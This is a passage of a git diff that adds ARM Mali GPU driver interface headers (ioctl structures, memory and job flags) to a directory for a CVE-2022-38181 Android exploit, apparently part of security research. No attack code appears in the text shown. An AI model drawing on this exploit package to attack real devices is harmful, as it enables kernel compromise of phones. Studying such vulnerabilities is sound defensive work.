+ * @buffer: Pointer to the information
+ * @len: Length
+ * @padding: Padding
+ *
+ * The data provided is accessible through a debugfs file
+ */
+struct kbase_ioctl_mem_profile_add {
+	__u64 buffer;
+	__u32 len;
+	__u32 padding;
+};
+
+#define KBASE_IOCTL_MEM_PROFILE_ADD \
+	_IOW(KBASE_IOCTL_TYPE, 27, struct kbase_ioctl_mem_profile_add)
+
+/**
+ * struct kbase_ioctl_sticky_resource_map - Permanently map an external resource
+ * @count: Number of resources
+ * @address: Array of __u64 GPU addresses of the external resources to map
+ */
+struct kbase_ioctl_sticky_resource_map {
+	__u64 count;
+	__u64 address;
+};
+
+#define KBASE_IOCTL_STICKY_RESOURCE_MAP \
+	_IOW(KBASE_IOCTL_TYPE, 29, struct kbase_ioctl_sticky_resource_map)
+
+/**
+ * struct kbase_ioctl_sticky_resource_map - Unmap a resource mapped which was
+ *                                          previously permanently mapped
+ * @count: Number of resources
+ * @address: Array of __u64 GPU addresses of the external resources to unmap
+ */
+struct kbase_ioctl_sticky_resource_unmap {
+	__u64 count;
+	__u64 address;
+};
+
+#define KBASE_IOCTL_STICKY_RESOURCE_UNMAP \
+	_IOW(KBASE_IOCTL_TYPE, 30, struct kbase_ioctl_sticky_resource_unmap)
+
+/**
+ * union kbase_ioctl_mem_find_gpu_start_and_offset - Find the start address of
+ *                                                   the GPU memory region for
+ *                                                   the given gpu address and
+ *                                                   the offset of that address
+ *                                                   into the region
+ * @in: Input parameters
+ * @in.gpu_addr: GPU virtual address
+ * @in.size: Size in bytes within the region
+ * @out: Output parameters
+ * @out.start: Address of the beginning of the memory region enclosing @gpu_addr
+ *             for the length of @offset bytes
+ * @out.offset: The offset from the start of the memory region to @gpu_addr
+ */
+union kbase_ioctl_mem_find_gpu_start_and_offset {
+	struct {
+		__u64 gpu_addr;
+		__u64 size;
+	} in;
+	struct {
+		__u64 start;
+		__u64 offset;
+	} out;
+};
+
+#define KBASE_IOCTL_MEM_FIND_GPU_START_AND_OFFSET \
+	_IOWR(KBASE_IOCTL_TYPE, 31, union kbase_ioctl_mem_find_gpu_start_and_offset)
+
+#define KBASE_IOCTL_CINSTR_GWT_START \
+	_IO(KBASE_IOCTL_TYPE, 33)
+
+#define KBASE_IOCTL_CINSTR_GWT_STOP \
+	_IO(KBASE_IOCTL_TYPE, 34)
+
+/**
+ * union kbase_ioctl_gwt_dump - Used to collect all GPU write fault addresses.
+ * @in: Input parameters
+ * @in.addr_buffer: Address of buffer to hold addresses of gpu modified areas.
+ * @in.size_buffer: Address of buffer to hold size of modified areas (in pages)
+ * @in.len: Number of addresses the buffers can hold.
+ * @in.padding: padding
+ * @out: Output parameters
+ * @out.no_of_addr_collected: Number of addresses collected into addr_buffer.
+ * @out.more_data_available: Status indicating if more addresses are available.
+ * @out.padding: padding
+ *
+ * This structure is used when performing a call to dump GPU write fault
+ * addresses.
+ */
+union kbase_ioctl_cinstr_gwt_dump {
+	struct {
+		__u64 addr_buffer;
+		__u64 size_buffer;
+		__u32 len;
+		__u32 padding;
+
+	} in;
+	struct {
+		__u32 no_of_addr_collected;
+		__u8 more_data_available;
+		__u8 padding[27];
+	} out;
+};
+
+#define KBASE_IOCTL_CINSTR_GWT_DUMP \
+	_IOWR(KBASE_IOCTL_TYPE, 35, union kbase_ioctl_cinstr_gwt_dump)
+
+/**
+ * struct kbase_ioctl_mem_exec_init - Initialise the EXEC_VA memory zone
+ *
+ * @va_pages: Number of VA pages to reserve for EXEC_VA
+ */
+struct kbase_ioctl_mem_exec_init {
+	__u64 va_pages;
+};
+
+#define KBASE_IOCTL_MEM_EXEC_INIT \
+	_IOW(KBASE_IOCTL_TYPE, 38, struct kbase_ioctl_mem_exec_init)
+
+/**
+ * union kbase_ioctl_get_cpu_gpu_timeinfo - Request zero or more types of
+ *                                          cpu/gpu time (counter values)
+ * @in: Input parameters
+ * @in.request_flags: Bit-flags indicating the requested types.
+ * @in.paddings:      Unused, size alignment matching the out.
+ * @out: Output parameters
+ * @out.sec:           Integer field of the monotonic time, unit in seconds.
+ * @out.nsec:          Fractional sec of the monotonic time, in nano-seconds.
+ * @out.padding:       Unused, for __u64 alignment
+ * @out.timestamp:     System wide timestamp (counter) value.
+ * @out.cycle_counter: GPU cycle counter value.
+ */
+union kbase_ioctl_get_cpu_gpu_timeinfo {
+	struct {
+		__u32 request_flags;
+		__u32 paddings[7];
+	} in;
+	struct {
+		__u64 sec;
+		__u32 nsec;
+		__u32 padding;
+		__u64 timestamp;
+		__u64 cycle_counter;
+	} out;
+};
+
+#define KBASE_IOCTL_GET_CPU_GPU_TIMEINFO \
+	_IOWR(KBASE_IOCTL_TYPE, 50, union kbase_ioctl_get_cpu_gpu_timeinfo)
+
+/**
+ * struct kbase_ioctl_context_priority_check - Check the max possible priority
+ * @priority: Input priority & output priority
+ */
+
+struct kbase_ioctl_context_priority_check {
+	__u8 priority;
+};
+
+#define KBASE_IOCTL_CONTEXT_PRIORITY_CHECK \
+	_IOWR(KBASE_IOCTL_TYPE, 54, struct kbase_ioctl_context_priority_check)
+
+/**
+ * struct kbase_ioctl_set_limited_core_count - Set the limited core count.
+ *
+ * @max_core_count: Maximum core count
+ */
+struct kbase_ioctl_set_limited_core_count {
+	__u8 max_core_count;
+};
+
+#define KBASE_IOCTL_SET_LIMITED_CORE_COUNT \
+	_IOW(KBASE_IOCTL_TYPE, 55, struct kbase_ioctl_set_limited_core_count)
+
+
+/***************
+ * Pixel ioctls *
+ ***************/
+
+/**
+ * struct kbase_ioctl_apc_request - GPU asynchronous power control (APC) request
+ *
+ * @dur_usec: Duration for GPU to stay awake.
+ */
+struct kbase_ioctl_apc_request {
+	__u32 dur_usec;
+};
+
+#define KBASE_IOCTL_APC_REQUEST \
+	_IOW(KBASE_IOCTL_TYPE, 66, struct kbase_ioctl_apc_request)
+
+/***************
+ * test ioctls *
+ ***************/
+#if MALI_UNIT_TEST
+/* These ioctls are purely for test purposes and are not used in the production
+ * driver, they therefore may change without notice
+ */
+
+#define KBASE_IOCTL_TEST_TYPE (KBASE_IOCTL_TYPE + 1)
+
+
+/**
+ * struct kbase_ioctl_tlstream_stats - Read tlstream stats for test purposes
+ * @bytes_collected: number of bytes read by user
+ * @bytes_generated: number of bytes generated by tracepoints
+ */
+struct kbase_ioctl_tlstream_stats {
+	__u32 bytes_collected;
+	__u32 bytes_generated;
+};
+
+#define KBASE_IOCTL_TLSTREAM_STATS \
+	_IOR(KBASE_IOCTL_TEST_TYPE, 2, struct kbase_ioctl_tlstream_stats)
+
+#endif /* MALI_UNIT_TEST */
+
+/* Customer extension range */
+#define KBASE_IOCTL_EXTRA_TYPE (KBASE_IOCTL_TYPE + 2)
+
+/* If the integration needs extra ioctl add them there
+ * like this:
+ *
+ * struct my_ioctl_args {
+ *  ....
+ * }
+ *
+ * #define KBASE_IOCTL_MY_IOCTL \
+ *         _IOWR(KBASE_IOCTL_EXTRA_TYPE, 0, struct my_ioctl_args)
+ */
+
+
+/**********************************
+ * Definitions for GPU properties *
+ **********************************/
+#define KBASE_GPUPROP_VALUE_SIZE_U8	(0x0)
+#define KBASE_GPUPROP_VALUE_SIZE_U16	(0x1)
+#define KBASE_GPUPROP_VALUE_SIZE_U32	(0x2)
+#define KBASE_GPUPROP_VALUE_SIZE_U64	(0x3)
+
+#define KBASE_GPUPROP_PRODUCT_ID			1
+#define KBASE_GPUPROP_VERSION_STATUS			2
+#define KBASE_GPUPROP_MINOR_REVISION			3
+#define KBASE_GPUPROP_MAJOR_REVISION			4
+/* 5 previously used for GPU speed */
+#define KBASE_GPUPROP_GPU_FREQ_KHZ_MAX			6
+/* 7 previously used for minimum GPU speed */
+#define KBASE_GPUPROP_LOG2_PROGRAM_COUNTER_SIZE		8
+#define KBASE_GPUPROP_TEXTURE_FEATURES_0		9
+#define KBASE_GPUPROP_TEXTURE_FEATURES_1		10
+#define KBASE_GPUPROP_TEXTURE_FEATURES_2		11
+#define KBASE_GPUPROP_GPU_AVAILABLE_MEMORY_SIZE		12
+
+#define KBASE_GPUPROP_L2_LOG2_LINE_SIZE			13
+#define KBASE_GPUPROP_L2_LOG2_CACHE_SIZE		14
+#define KBASE_GPUPROP_L2_NUM_L2_SLICES			15
+
+#define KBASE_GPUPROP_TILER_BIN_SIZE_BYTES		16
+#define KBASE_GPUPROP_TILER_MAX_ACTIVE_LEVELS		17
+
+#define KBASE_GPUPROP_MAX_THREADS			18
+#define KBASE_GPUPROP_MAX_WORKGROUP_SIZE		19
+#define KBASE_GPUPROP_MAX_BARRIER_SIZE			20
+#define KBASE_GPUPROP_MAX_REGISTERS			21
+#define KBASE_GPUPROP_MAX_TASK_QUEUE			22
+#define KBASE_GPUPROP_MAX_THREAD_GROUP_SPLIT		23
+#define KBASE_GPUPROP_IMPL_TECH				24
+
+#define KBASE_GPUPROP_RAW_SHADER_PRESENT		25
+#define KBASE_GPUPROP_RAW_TILER_PRESENT			26
+#define KBASE_GPUPROP_RAW_L2_PRESENT			27
+#define KBASE_GPUPROP_RAW_STACK_PRESENT			28
+#define KBASE_GPUPROP_RAW_L2_FEATURES			29
+#define KBASE_GPUPROP_RAW_CORE_FEATURES			30
+#define KBASE_GPUPROP_RAW_MEM_FEATURES			31
+#define KBASE_GPUPROP_RAW_MMU_FEATURES			32
+#define KBASE_GPUPROP_RAW_AS_PRESENT			33
+#define KBASE_GPUPROP_RAW_JS_PRESENT			34
+#define KBASE_GPUPROP_RAW_JS_FEATURES_0			35
+#define KBASE_GPUPROP_RAW_JS_FEATURES_1			36
+#define KBASE_GPUPROP_RAW_JS_FEATURES_2			37
+#define KBASE_GPUPROP_RAW_JS_FEATURES_3			38
+#define KBASE_GPUPROP_RAW_JS_FEATURES_4			39
+#define KBASE_GPUPROP_RAW_JS_FEATURES_5			40
+#define KBASE_GPUPROP_RAW_JS_FEATURES_6			41
+#define KBASE_GPUPROP_RAW_JS_FEATURES_7			42
+#define KBASE_GPUPROP_RAW_JS_FEATURES_8			43
+#define KBASE_GPUPROP_RAW_JS_FEATURES_9			44
+#define KBASE_GPUPROP_RAW_JS_FEATURES_10		45
+#define KBASE_GPUPROP_RAW_JS_FEATURES_11		46
+#define KBASE_GPUPROP_RAW_JS_FEATURES_12		47
+#define KBASE_GPUPROP_RAW_JS_FEATURES_13		48
+#define KBASE_GPUPROP_RAW_JS_FEATURES_14		49
+#define KBASE_GPUPROP_RAW_JS_FEATURES_15		50
+#define KBASE_GPUPROP_RAW_TILER_FEATURES		51
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_0		52
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_1		53
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_2		54
+#define KBASE_GPUPROP_RAW_GPU_ID			55
+#define KBASE_GPUPROP_RAW_THREAD_MAX_THREADS		56
+#define KBASE_GPUPROP_RAW_THREAD_MAX_WORKGROUP_SIZE	57
+#define KBASE_GPUPROP_RAW_THREAD_MAX_BARRIER_SIZE	58
+#define KBASE_GPUPROP_RAW_THREAD_FEATURES		59
+#define KBASE_GPUPROP_RAW_COHERENCY_MODE		60
+
+#define KBASE_GPUPROP_COHERENCY_NUM_GROUPS		61
+#define KBASE_GPUPROP_COHERENCY_NUM_CORE_GROUPS		62
+#define KBASE_GPUPROP_COHERENCY_COHERENCY		63
+#define KBASE_GPUPROP_COHERENCY_GROUP_0			64
+#define KBASE_GPUPROP_COHERENCY_GROUP_1			65
+#define KBASE_GPUPROP_COHERENCY_GROUP_2			66
+#define KBASE_GPUPROP_COHERENCY_GROUP_3			67
+#define KBASE_GPUPROP_COHERENCY_GROUP_4			68
+#define KBASE_GPUPROP_COHERENCY_GROUP_5			69
+#define KBASE_GPUPROP_COHERENCY_GROUP_6			70
+#define KBASE_GPUPROP_COHERENCY_GROUP_7			71
+#define KBASE_GPUPROP_COHERENCY_GROUP_8			72
+#define KBASE_GPUPROP_COHERENCY_GROUP_9			73
+#define KBASE_GPUPROP_COHERENCY_GROUP_10		74
+#define KBASE_GPUPROP_COHERENCY_GROUP_11		75
+#define KBASE_GPUPROP_COHERENCY_GROUP_12		76
+#define KBASE_GPUPROP_COHERENCY_GROUP_13		77
+#define KBASE_GPUPROP_COHERENCY_GROUP_14		78
+#define KBASE_GPUPROP_COHERENCY_GROUP_15		79
+
+#define KBASE_GPUPROP_TEXTURE_FEATURES_3		80
+#define KBASE_GPUPROP_RAW_TEXTURE_FEATURES_3		81
+
+#define KBASE_GPUPROP_NUM_EXEC_ENGINES			82
+
+#define KBASE_GPUPROP_RAW_THREAD_TLS_ALLOC		83
+#define KBASE_GPUPROP_TLS_ALLOC				84
+#define KBASE_GPUPROP_RAW_GPU_FEATURES			85
+
+#define BASE_MEM_MAP_TRACKING_HANDLE           (3ull  << 12)
+
+#endif /* _UAPI_KBASE_JM_IOCTL_H_ */
+
diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h
new file mode 100644
index 0000000..b1cf438
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_38181/mali_base_jm_kernel.h
@@ -0,0 +1,1216 @@
+/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
+/*
+ *
+ * (C) COPYRIGHT 2019-2021 ARM Limited. All rights reserved.
+ *
+ * This program is free software and is provided to you under the terms of the
+ * GNU General Public License version 2 as published by the Free Software
+ * Foundation, and any use by you of this program is subject to the terms
+ * of such GNU license.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, you can access it online at
+ * http://www.gnu.org/licenses/gpl-2.0.html.
+ *
+ */
+
+#ifndef _UAPI_BASE_JM_KERNEL_H_
+#define _UAPI_BASE_JM_KERNEL_H_
+
+#include <linux/types.h>
+
+typedef __u32 base_mem_alloc_flags;
+/* Memory allocation, access/hint flags.
+ *
+ * See base_mem_alloc_flags.
+ */
+
+/* IN */
+/* Read access CPU side
+ */
+#define BASE_MEM_PROT_CPU_RD ((base_mem_alloc_flags)1 << 0)
+
+/* Write access CPU side
+ */
+#define BASE_MEM_PROT_CPU_WR ((base_mem_alloc_flags)1 << 1)
+
+/* Read access GPU side
+ */
+#define BASE_MEM_PROT_GPU_RD ((base_mem_alloc_flags)1 << 2)
+
+/* Write access GPU side
+ */
+#define BASE_MEM_PROT_GPU_WR ((base_mem_alloc_flags)1 << 3)
+
+/* Execute allowed on the GPU side
+ */
+#define BASE_MEM_PROT_GPU_EX ((base_mem_alloc_flags)1 << 4)
+
+/* Will be permanently mapped in kernel space.
+ * Flag is only allowed on allocations originating from kbase.
+ */
+#define BASEP_MEM_PERMANENT_KERNEL_MAPPING ((base_mem_alloc_flags)1 << 5)
+
+/* The allocation will completely reside within the same 4GB chunk in the GPU
+ * virtual space.
+ * Since this flag is primarily required only for the TLS memory which will
+ * not be used to contain executable code and also not used for Tiler heap,
+ * it can't be used along with BASE_MEM_PROT_GPU_EX and TILER_ALIGN_TOP flags.
+ */
+#define BASE_MEM_GPU_VA_SAME_4GB_PAGE ((base_mem_alloc_flags)1 << 6)
+
+/* Userspace is not allowed to free this memory.
+ * Flag is only allowed on allocations originating from kbase.
+ */
+#define BASEP_MEM_NO_USER_FREE ((base_mem_alloc_flags)1 << 7)
+
+#define BASE_MEM_RESERVED_BIT_8 ((base_mem_alloc_flags)1 << 8)
+
+/* Grow backing store on GPU Page Fault
+ */
+#define BASE_MEM_GROW_ON_GPF ((base_mem_alloc_flags)1 << 9)
+
+/* Page coherence Outer shareable, if available
+ */
+#define BASE_MEM_COHERENT_SYSTEM ((base_mem_alloc_flags)1 << 10)
+
+/* Page coherence Inner shareable
+ */
+#define BASE_MEM_COHERENT_LOCAL ((base_mem_alloc_flags)1 << 11)
+
+/* IN/OUT */
+/* Should be cached on the CPU, returned if actually cached
+ */
+#define BASE_MEM_CACHED_CPU ((base_mem_alloc_flags)1 << 12)
+
+/* IN/OUT */
+/* Must have same VA on both the GPU and the CPU
+ */
+#define BASE_MEM_SAME_VA ((base_mem_alloc_flags)1 << 13)
+
+/* OUT */
+/* Must call mmap to acquire a GPU address for the allocation
+ */
+#define BASE_MEM_NEED_MMAP ((base_mem_alloc_flags)1 << 14)
+
+/* IN */
+/* Page coherence Outer shareable, required.
+ */
+#define BASE_MEM_COHERENT_SYSTEM_REQUIRED ((base_mem_alloc_flags)1 << 15)
+
+/* Protected memory
+ */
+#define BASE_MEM_PROTECTED ((base_mem_alloc_flags)1 << 16)
+
+/* Not needed physical memory
+ */
+#define BASE_MEM_DONT_NEED ((base_mem_alloc_flags)1 << 17)
+
+/* Must use shared CPU/GPU zone (SAME_VA zone) but doesn't require the
+ * addresses to be the same
+ */
+#define BASE_MEM_IMPORT_SHARED ((base_mem_alloc_flags)1 << 18)
+
+/**
+ * Bit 19 is reserved.
+ *
+ * Do not remove, use the next unreserved bit for new flags
+ */
+#define BASE_MEM_RESERVED_BIT_19 ((base_mem_alloc_flags)1 << 19)
+
+/**
+ * Memory starting from the end of the initial commit is aligned to 'extension'
+ * pages, where 'extension' must be a power of 2 and no more than
+ * BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES
+ */
+#define BASE_MEM_TILER_ALIGN_TOP ((base_mem_alloc_flags)1 << 20)
+
+/* Should be uncached on the GPU, will work only for GPUs using AARCH64 mmu
+ * mode. Some components within the GPU might only be able to access memory
+ * that is GPU cacheable. Refer to the specific GPU implementation for more
+ * details. The 3 shareability flags will be ignored for GPU uncached memory.
+ * If used while importing USER_BUFFER type memory, then the import will fail
+ * if the memory is not aligned to GPU and CPU cache line width.
+ */
+#define BASE_MEM_UNCACHED_GPU ((base_mem_alloc_flags)1 << 21)
+
+/*
+ * Bits [22:25] for group_id (0~15).
+ *
+ * base_mem_group_id_set() should be used to pack a memory group ID into a
+ * base_mem_alloc_flags value instead of accessing the bits directly.
+ * base_mem_group_id_get() should be used to extract the memory group ID from
+ * a base_mem_alloc_flags value.
+ */
+#define BASEP_MEM_GROUP_ID_SHIFT 22
+#define BASE_MEM_GROUP_ID_MASK \
+	((base_mem_alloc_flags)0xF << BASEP_MEM_GROUP_ID_SHIFT)
+
+/* Must do CPU cache maintenance when imported memory is mapped/unmapped
+ * on GPU. Currently applicable to dma-buf type only.
+ */
+#define BASE_MEM_IMPORT_SYNC_ON_MAP_UNMAP ((base_mem_alloc_flags)1 << 26)
+
+/* Use the GPU VA chosen by the kernel client */
+#define BASE_MEM_FLAG_MAP_FIXED ((base_mem_alloc_flags)1 << 27)
+
+/* OUT */
+/* Kernel side cache sync ops required */
+#define BASE_MEM_KERNEL_SYNC ((base_mem_alloc_flags)1 << 28)
+
+/* Force trimming of JIT allocations when creating a new allocation */
+#define BASEP_MEM_PERFORM_JIT_TRIM ((base_mem_alloc_flags)1 << 29)
+
+/* Number of bits used as flags for base memory management
+ *
+ * Must be kept in sync with the base_mem_alloc_flags flags
+ */
+#define BASE_MEM_FLAGS_NR_BITS 30
+
+/* A mask of all the flags which are only valid for allocations within kbase,
+ * and may not be passed from user space.
+ */
+#define BASEP_MEM_FLAGS_KERNEL_ONLY \
+	(BASEP_MEM_PERMANENT_KERNEL_MAPPING | BASEP_MEM_NO_USER_FREE | \
+	 BASE_MEM_FLAG_MAP_FIXED | BASEP_MEM_PERFORM_JIT_TRIM)
+
+/* A mask for all output bits, excluding IN/OUT bits.
+ */
+#define BASE_MEM_FLAGS_OUTPUT_MASK BASE_MEM_NEED_MMAP
+
+/* A mask for all input bits, including IN/OUT bits.
+ */
+#define BASE_MEM_FLAGS_INPUT_MASK \
+	(((1 << BASE_MEM_FLAGS_NR_BITS) - 1) & ~BASE_MEM_FLAGS_OUTPUT_MASK)
+
+/* A mask of all currently reserved flags
+ */
+#define BASE_MEM_FLAGS_RESERVED \
+	(BASE_MEM_RESERVED_BIT_8 | BASE_MEM_RESERVED_BIT_19)
+
+#define BASEP_MEM_INVALID_HANDLE               (0ull  << 12)
+#define BASE_MEM_MMU_DUMP_HANDLE               (1ull  << 12)
+#define BASE_MEM_TRACE_BUFFER_HANDLE           (2ull  << 12)
+#define BASE_MEM_MAP_TRACKING_HANDLE           (3ull  << 12)
+#define BASEP_MEM_WRITE_ALLOC_PAGES_HANDLE     (4ull  << 12)
+/* reserved handles ..-47<<PAGE_SHIFT> for future special handles */
+#define BASE_MEM_COOKIE_BASE                   (64ul  << 12)
+#define BASE_MEM_FIRST_FREE_ADDRESS            ((BITS_PER_LONG << 12) + \
+						BASE_MEM_COOKIE_BASE)
+
+/* Similar to BASE_MEM_TILER_ALIGN_TOP, memory starting from the end of the
+ * initial commit is aligned to 'extension' pages, where 'extension' must be a power
+ * of 2 and no more than BASE_MEM_TILER_ALIGN_TOP_EXTENSION_MAX_PAGES
+ */
+#define BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP  (1 << 0)
+
+/**
+ * If set, the heap info address points to a __u32 holding the used size in bytes;
+ * otherwise it points to a __u64 holding the lowest address of unused memory.
+ */
+#define BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE  (1 << 1)
+
+/**
+ * Valid set of just-in-time memory allocation flags
+ *
+ * Note: BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE cannot be set if heap_info_gpu_addr
+ * in %base_jit_alloc_info is 0 (atom with BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE set
+ * and heap_info_gpu_addr being 0 will be rejected).
+ */
+#define BASE_JIT_ALLOC_VALID_FLAGS \
+	(BASE_JIT_ALLOC_MEM_TILER_ALIGN_TOP | BASE_JIT_ALLOC_HEAP_INFO_IS_SIZE)
+
+/**
+ * typedef base_context_create_flags - Flags to pass to ::base_context_init.
+ *
+ * Flags can be ORed together to enable multiple things.
+ *
+ * These share the same space as BASEP_CONTEXT_FLAG_*, and so must
+ * not collide with them.
+ */
+typedef __u32 base_context_create_flags;
+
+/* No flags set */
+#define BASE_CONTEXT_CREATE_FLAG_NONE ((base_context_create_flags)0)
+
+/* Base context is embedded in a cctx object (flag used for CINSTR
+ * software counter macros)
+ */
+#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0)
+
+/* Base context is a 'System Monitor' context for Hardware counters.
+ *
+ * One important side effect of this is that job submission is disabled.
+ */
+#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED \
+	((base_context_create_flags)1 << 1)
+
+/* Bit-shift used to encode a memory group ID in base_context_create_flags
+ */
+#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3)
+
+/* Bitmask used to encode a memory group ID in base_context_create_flags
+ */
+#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \
+	((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT)
+
+/* Bitpattern describing the base_context_create_flags that can be
+ * passed to the kernel
+ */
+#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \
+	(BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | \
+	 BASEP_CONTEXT_MMU_GROUP_ID_MASK)
+
+/* Bitpattern describing the ::base_context_create_flags that can be
+ * passed to base_context_init()
+ */
+#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \
+	(BASE_CONTEXT_CCTX_EMBEDDED | BASEP_CONTEXT_CREATE_KERNEL_FLAGS)
+
+/*
+ * Private flags used on the base context
+ *
+ * These start at bit 31, and run down to zero.
+ *
+ * They share the same space as base_context_create_flags, and so must
+ * not collide with them.
+ */
+
+/* Private flag tracking whether job descriptor dumping is disabled */
+#define BASEP_CONTEXT_FLAG_JOB_DUMP_DISABLED \
+	((base_context_create_flags)(1 << 31))
+
+/* Enable additional tracepoints for latency measurements (TL_ATOM_READY,
+ * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST)
+ */
+#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0)
+
+/* Indicate that job dumping is enabled. This could affect certain timers
+ * to account for the performance impact.
+ */
+#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1)
+
+#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \
+		BASE_TLSTREAM_JOB_DUMPING_ENABLED)
+/*
+ * Dependency stuff, keep it private for now. May want to expose it if
+ * we decide to make the number of semaphores a configurable
+ * option.
+ */
+#define BASE_JD_ATOM_COUNT              256
+
+/* Maximum number of concurrent render passes.
+ */
+#define BASE_JD_RP_COUNT (256)
+
+/* Set/reset values for a software event */
+#define BASE_JD_SOFT_EVENT_SET             ((unsigned char)1)
+#define BASE_JD_SOFT_EVENT_RESET           ((unsigned char)0)
+
+/**
+ * struct base_jd_udata - Per-job data
+ *
+ * This structure is used to store per-job data, and is completely unused
+ * by the Base driver. It can be used to store things such as callback
+ * function pointer, data to handle job completion. It is guaranteed to be
+ * untouched by the Base driver.
+ *
+ * @blob: per-job data array
+ */
+struct base_jd_udata {
+	__u64 blob[2];
+};
+
+/**
+ * typedef base_jd_dep_type - Job dependency type.
+ *
+ * A flags field will be inserted into the atom structure to specify whether a
+ * dependency is a data or ordering dependency (by putting it before/after
+ * 'core_req' in the structure it should be possible to add without changing
+ * the structure size).
+ * When the flag is set for a particular dependency to signal that it is an
+ * ordering only dependency then errors will not be propagated.
+ */
+typedef __u8 base_jd_dep_type;
+
+#define BASE_JD_DEP_TYPE_INVALID  (0)       /**< Invalid dependency */
+#define BASE_JD_DEP_TYPE_DATA     (1U << 0) /**< Data dependency */
+#define BASE_JD_DEP_TYPE_ORDER    (1U << 1) /**< Order dependency */
+
+/**
+ * typedef base_jd_core_req - Job chain hardware requirements.
+ *
+ * A job chain must specify what GPU features it needs to allow the
+ * driver to schedule the job correctly.  By not specifying the
+ * correct settings can/will cause an early job termination.  Multiple
+ * values can be ORed together to specify multiple requirements.
+ * Special case is ::BASE_JD_REQ_DEP, which is used to express complex
+ * dependencies, and that doesn't execute anything on the hardware.
+ */
+typedef __u32 base_jd_core_req;
+
+/* Requirements that come from the HW */
+
+/* No requirement, dependency only
+ */
+#define BASE_JD_REQ_DEP ((base_jd_core_req)0)
+
+/* Requires fragment shaders
+ */
+#define BASE_JD_REQ_FS  ((base_jd_core_req)1 << 0)
+
+/* Requires compute shaders
+ *
+ * This covers any of the following GPU job types:
+ * - Vertex Shader Job
+ * - Geometry Shader Job
+ * - An actual Compute Shader Job
+ *
+ * Compare this with BASE_JD_REQ_ONLY_COMPUTE, which specifies that the
+ * job is specifically just the "Compute Shader" job type, and not the "Vertex
+ * Shader" nor the "Geometry Shader" job type.
+ */
+#define BASE_JD_REQ_CS ((base_jd_core_req)1 << 1)
+
+/* Requires tiling */
+#define BASE_JD_REQ_T  ((base_jd_core_req)1 << 2)
+
+/* Requires cache flushes */
+#define BASE_JD_REQ_CF ((base_jd_core_req)1 << 3)
+
+/* Requires value writeback */
+#define BASE_JD_REQ_V  ((base_jd_core_req)1 << 4)
+
+/* SW-only requirements - the HW does not expose these as part of the job slot
+ * capabilities
+ */
+
+/* Requires fragment job with AFBC encoding */
+#define BASE_JD_REQ_FS_AFBC  ((base_jd_core_req)1 << 13)
+
+/* SW-only requirement: coalesce completion events.
+ * If this bit is set then completion of this atom will not cause an event to
+ * be sent to userspace, whether successful or not; completion events will be
+ * deferred until an atom completes which does not have this bit set.
+ *
+ * This bit may not be used in combination with BASE_JD_REQ_EXTERNAL_RESOURCES.
+ */
+#define BASE_JD_REQ_EVENT_COALESCE ((base_jd_core_req)1 << 5)
+
+/* SW Only requirement: the job chain requires a coherent core group. We don't
+ * mind which coherent core group is used.
+ */
+#define BASE_JD_REQ_COHERENT_GROUP  ((base_jd_core_req)1 << 6)
+
+/* SW Only requirement: The performance counters should be enabled only when
+ * they are needed, to reduce power consumption.
+ */
+#define BASE_JD_REQ_PERMON               ((base_jd_core_req)1 << 7)
+
+/* SW Only requirement: External resources are referenced by this atom.
+ *
+ * This bit may not be used in combination with BASE_JD_REQ_EVENT_COALESCE and
+ * BASE_JD_REQ_SOFT_EVENT_WAIT.
+ */
+#define BASE_JD_REQ_EXTERNAL_RESOURCES   ((base_jd_core_req)1 << 8)
+
+/* SW Only requirement: Software defined job. Jobs with this bit set will not be
+ * submitted to the hardware but will cause some action to happen within the
+ * driver
+ */
+#define BASE_JD_REQ_SOFT_JOB        ((base_jd_core_req)1 << 9)
+
+#define BASE_JD_REQ_SOFT_DUMP_CPU_GPU_TIME      (BASE_JD_REQ_SOFT_JOB | 0x1)
+#define BASE_JD_REQ_SOFT_FENCE_TRIGGER          (BASE_JD_REQ_SOFT_JOB | 0x2)
+#define BASE_JD_REQ_SOFT_FENCE_WAIT             (BASE_JD_REQ_SOFT_JOB | 0x3)
+
+/* 0x4 RESERVED for now */
+
+/* SW only requirement: event wait/trigger job.
+ *
+ * - BASE_JD_REQ_SOFT_EVENT_WAIT: this job will block until the event is set.
+ * - BASE_JD_REQ_SOFT_EVENT_SET: this job sets the event, thus unblocks the
+ *   other waiting jobs. It completes immediately.
+ * - BASE_JD_REQ_SOFT_EVENT_RESET: this job resets the event, making it
+ *   possible for other jobs to wait upon. It completes immediately.
+ */
+#define BASE_JD_REQ_SOFT_EVENT_WAIT             (BASE_JD_REQ_SOFT_JOB | 0x5)
+#define BASE_JD_REQ_SOFT_EVENT_SET              (BASE_JD_REQ_SOFT_JOB | 0x6)
+#define BASE_JD_REQ_SOFT_EVENT_RESET            (BASE_JD_REQ_SOFT_JOB | 0x7)
+
